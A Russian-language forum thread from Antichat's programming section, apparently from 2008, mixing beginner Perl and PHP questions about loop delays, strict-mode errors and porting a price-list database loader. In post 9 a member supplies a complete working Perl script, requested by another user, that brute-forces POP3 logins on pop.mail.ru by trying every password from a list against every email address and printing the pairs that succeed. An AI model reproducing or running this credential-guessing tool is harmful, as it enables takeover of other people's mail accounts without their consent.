HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 31.05.2008, 10:06
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию

Кстать присмотритесь к баге... она много где поможет вам....
 
Ответить с цитированием

  #2  
Старый 31.05.2008, 14:47
ZET36
Участник форума
Регистрация: 08.10.2007
Сообщений: 259
Провел на форуме:
500748

Репутация: 137
По умолчанию

Извеняйте судари, это опять я и опять с ламерским вопросом))
как организовать задержку в цикле?

в гугле везде натыкался на sleep

Код:
for ($i = 1; $i < 5; $i++)
{
print $i;
sleep 3;
}
но в этом варианте через 15 секунд сразу выводит 12345
а мне нужно что бы через каждые 3 секунды выводило переменную $i
 
Ответить с цитированием

  #3  
Старый 31.05.2008, 15:08
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


По умолчанию

$| = 1;
перед циклом

Последний раз редактировалось Piflit; 01.06.2008 в 20:44..
 
Ответить с цитированием

  #4  
Старый 31.05.2008, 15:22
ZET36
Участник форума
Регистрация: 08.10.2007
Сообщений: 259
Провел на форуме:
500748

Репутация: 137
По умолчанию

Piflit спасибо , всё отлично
 
Ответить с цитированием

  #5  
Старый 02.06.2008, 18:38
Xszz
Участник форума
Регистрация: 23.04.2007
Сообщений: 233
Провел на форуме:
671223

Репутация: 91
По умолчанию

На сервере походу нету Net::POP3;
 
Ответить с цитированием

  #6  
Старый 02.06.2008, 20:41
SeeJay
Новичок
Регистрация: 21.02.2006
Сообщений: 18
Провел на форуме:
163552

Репутация: 1
По умолчанию

Цитата:
Сообщение от Xszz  
На сервере походу нету Net::POP3;
Ребятки может быть Вы делали что-то подобное?
Если не трудно скиньте, пожалуйста, скрипт! Буду очень благодарен.

С уважением, SeeJay!
 
Ответить с цитированием

  #7  
Старый 02.06.2008, 18:59
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


По умолчанию

$pop = Net::POP3->new('pop.mail.ru');
$pop = Net::POP3->new('pop.mail.ru', Timeout => 60);

зачем 2 раза?

в начало добавь
use strict;
use warnings;
 
Ответить с цитированием

  #8  
Старый 02.06.2008, 20:39
SeeJay
Новичок
Регистрация: 21.02.2006
Сообщений: 18
Провел на форуме:
163552

Репутация: 1
По умолчанию

Цитата:
Сообщение от Piflit  
$pop = Net::POP3->new('pop.mail.ru');
$pop = Net::POP3->new('pop.mail.ru', Timeout => 60);

зачем 2 раза?

в начало добавь
use strict;
use warnings;
По поводу два раза думаю да Вы правы но если добавляю использование библиотек то сразу же мой скрипт не работает.
Ошибка:


Код:
Global symbol "$Fpass" requires explicit package name at hello.pl line 7.
Global symbol "$Femails" requires explicit package name at hello.pl line 8.
Global symbol "$finds" requires explicit package name at hello.pl line 10.
Global symbol "$emails" requires explicit package name at hello.pl line 16.
Global symbol "$Femails" requires explicit package name at hello.pl line 16.
Global symbol "$emails" requires explicit package name at hello.pl line 17.
Global symbol "$email" requires explicit package name at hello.pl line 20.
Global symbol "$passwords" requires explicit package name at hello.pl line 22.
Global symbol "$Fpass" requires explicit package name at hello.pl line 22.
Global symbol "$passwords" requires explicit package name at hello.pl line 23.
Global symbol "$pass" requires explicit package name at hello.pl line 26.
Global symbol "$pop" requires explicit package name at hello.pl line 28.
Global symbol "$pop" requires explicit package name at hello.pl line 30.
Global symbol "$email" requires explicit package name at hello.pl line 30.
Global symbol "$pass" requires explicit package name at hello.pl line 30.
Global symbol "$email" requires explicit package name at hello.pl line 33.
Global symbol "$pass" requires explicit package name at hello.pl line 34.
Global symbol "$logs" requires explicit package name at hello.pl line 35.
Global symbol "$pass" requires explicit package name at hello.pl line 39.
Global symbol "$logs" requires explicit package name at hello.pl line 40.
Global symbol "$pop" requires explicit package name at hello.pl line 43.
Global symbol "$passwords" requires explicit package name at hello.pl line 44.
Global symbol "$emails" requires explicit package name at hello.pl line 46.
Bareword "chompt" not allowed while "strict subs" in use at hello.pl line 19.
Bareword "chompt" not allowed while "strict subs" in use at hello.pl line 25.
Execution of hello.pl aborted due to compilation errors.
 
Ответить с цитированием

  #9  
Старый 02.06.2008, 22:17
Kaimi
Познавший АНТИЧАТ
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


По умолчанию

Попробуй так:
Код:
#!usr/bin/perl -w

use IO::Socket;

$Fpass   = 'passwords.txt';
$Femails = 'emails.txt';


open($emails, $Femails);
while(<$emails>)
{
	$email = $_;
	chomp($email);
	
	open($passwords, $Fpass);
	while(<$passwords>)
	{
		$pass = $_;
		chomp($pass);
		$sock = new IO::Socket::INET 
		(
		PeerAddr => 'pop.mail.ru',
   		PeerPort => 110, 
   		PeerProto => 'tcp', 
   		TimeOut => 60
		) or die "Can't connect\n";	

		print $sock "USER $email\n\r"; 
		sysread ($sock, $answ, 800);
		print $sock "PASS $pass\n\r\n\r";
		sysread ($sock, $answ, 800);
		print $sock "\n\r";
		sysread ($sock, $answ, 800);

		close($sock);

		if($answ =~ /maildrop/)
		{		
			print  "Good PASSSSSSSSSSSSSSSSSSSSSSSSS\n".
				   "[>]Email:".$email."\n".
				   "[>]Password:".$pass."\n";
		}
		else
		{
			print "[>]BAD Password:".$pass;
		}
	}
	close($passwords);
}
close($emails);
 
Ответить с цитированием

  #10  
Старый 05.06.2008, 11:13
Корвин
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
Провел на форуме:
302951

Репутация: 67
По умолчанию

есть .txt файл, в нем сгенерирован прайс лист вот в таком виде

Код:
1	-1	-1	-1	Серверы и рабочие станции	0	0	0
1	1	-1	-1	Acer	0	0	0
1	1	1	-1	Рабочии станции	0	0	0
1	1	1	93913	Рабочая станция Acer Aspire E360 91.9N97E.R8S K8 MCR/ATHLON 64 3400/80GB SATA/512MB DDR400/DVD RW /nVidia G7300LE 256MB DVI TV-out, PCIE/Win XP MCE & Works/USB multimedia kb and optical mouse/MS MCE Remote Control & Receiver/ACR - Russian	396	392.0	385.00
1	1	1	88830	Рабочая станция Acer Aspire iDea 510 98.Q6B79.RHP Intel Core 2 Duo T5500, 2x512Mb DDRII SODIMM, 250Gb SATA, GeForce 7600GS 256Mb+2xTV-tuner, DVD/RW Slot-in, wireless kb&mouse, Gigabit LAN+Wi-Fi, Vista HP	1683	1667.7	1652.40
1	1	1	89246	Рабочая станция Acer Aspire L320 92.2NG9Z.RHR Intel Core 2 Duo E4400  2x512Mb DDRII 533 SO-DIMM  250Gb SATA  onboard Intel GMA 3000  DVD RW Slot-In  corded kb&mouse  Gigabit LAN+Wi-Fi Vista HP+Ent	734	727.0	720.36
и есть скрипт на перле который этот прайс заливает в базу на сайте, вот скрипт:

Код:
#!/usr/bin/perl -w

#=============================================================================
#=============================================================================
#=============================================================================

sub loadprice2{

&writebase("delete from pricelist");

open F,"price.sql";
@d=<F>;
close F;

$d=join "",@d;
$d=~s/[\r\n]/<br>/g;

$d=~s#{{([\d-]+),(\d*)}}?#$1\.$2#g;
$d=~s#{{##g;
$d=~s#}}##g;


$d=~s/<br>/\n/g;

&writebase($d);


}

#=============================================================================
#=============================================================================
#=============================================================================

sub loadprice{

$db="DBI:mysql:wiz:localhost:3306";
$db=DBI->connect($db,"login","pass");
open F,"p.txt";
my @d=<F>;
close F;
$db->do("TRUNCATE TABLE pricelist");
for my $i (@d){
        my @z=split /\t/,$i;
        $db->do('insert into pricelist (razdel_id,cat_id,subcat_id,id,name,price1,price2,price3) values ('.(join ',',map {$db->quote($_)} @z).')');
}
$db->do("update options set price_update=now()");
$db->disconnect();
print "<script language=javascript>top.location.href='?$rand'</script>";
}

#=============================================================================
#=============================================================================
#=============================================================================

1;

мне нужно такой же скрипт на пхп написать, можете помочь, просто в перле ока ничо не понимаю((

или хотя бы обьясните как этот скрипт работает примерно, чтоб мне было от чего оттолкнутся....

Последний раз редактировалось Корвин; 05.06.2008 в 14:03..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
[php] Новичкам: задаем вопросы _Great_ PHP 16396 17.06.2010 21:19
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.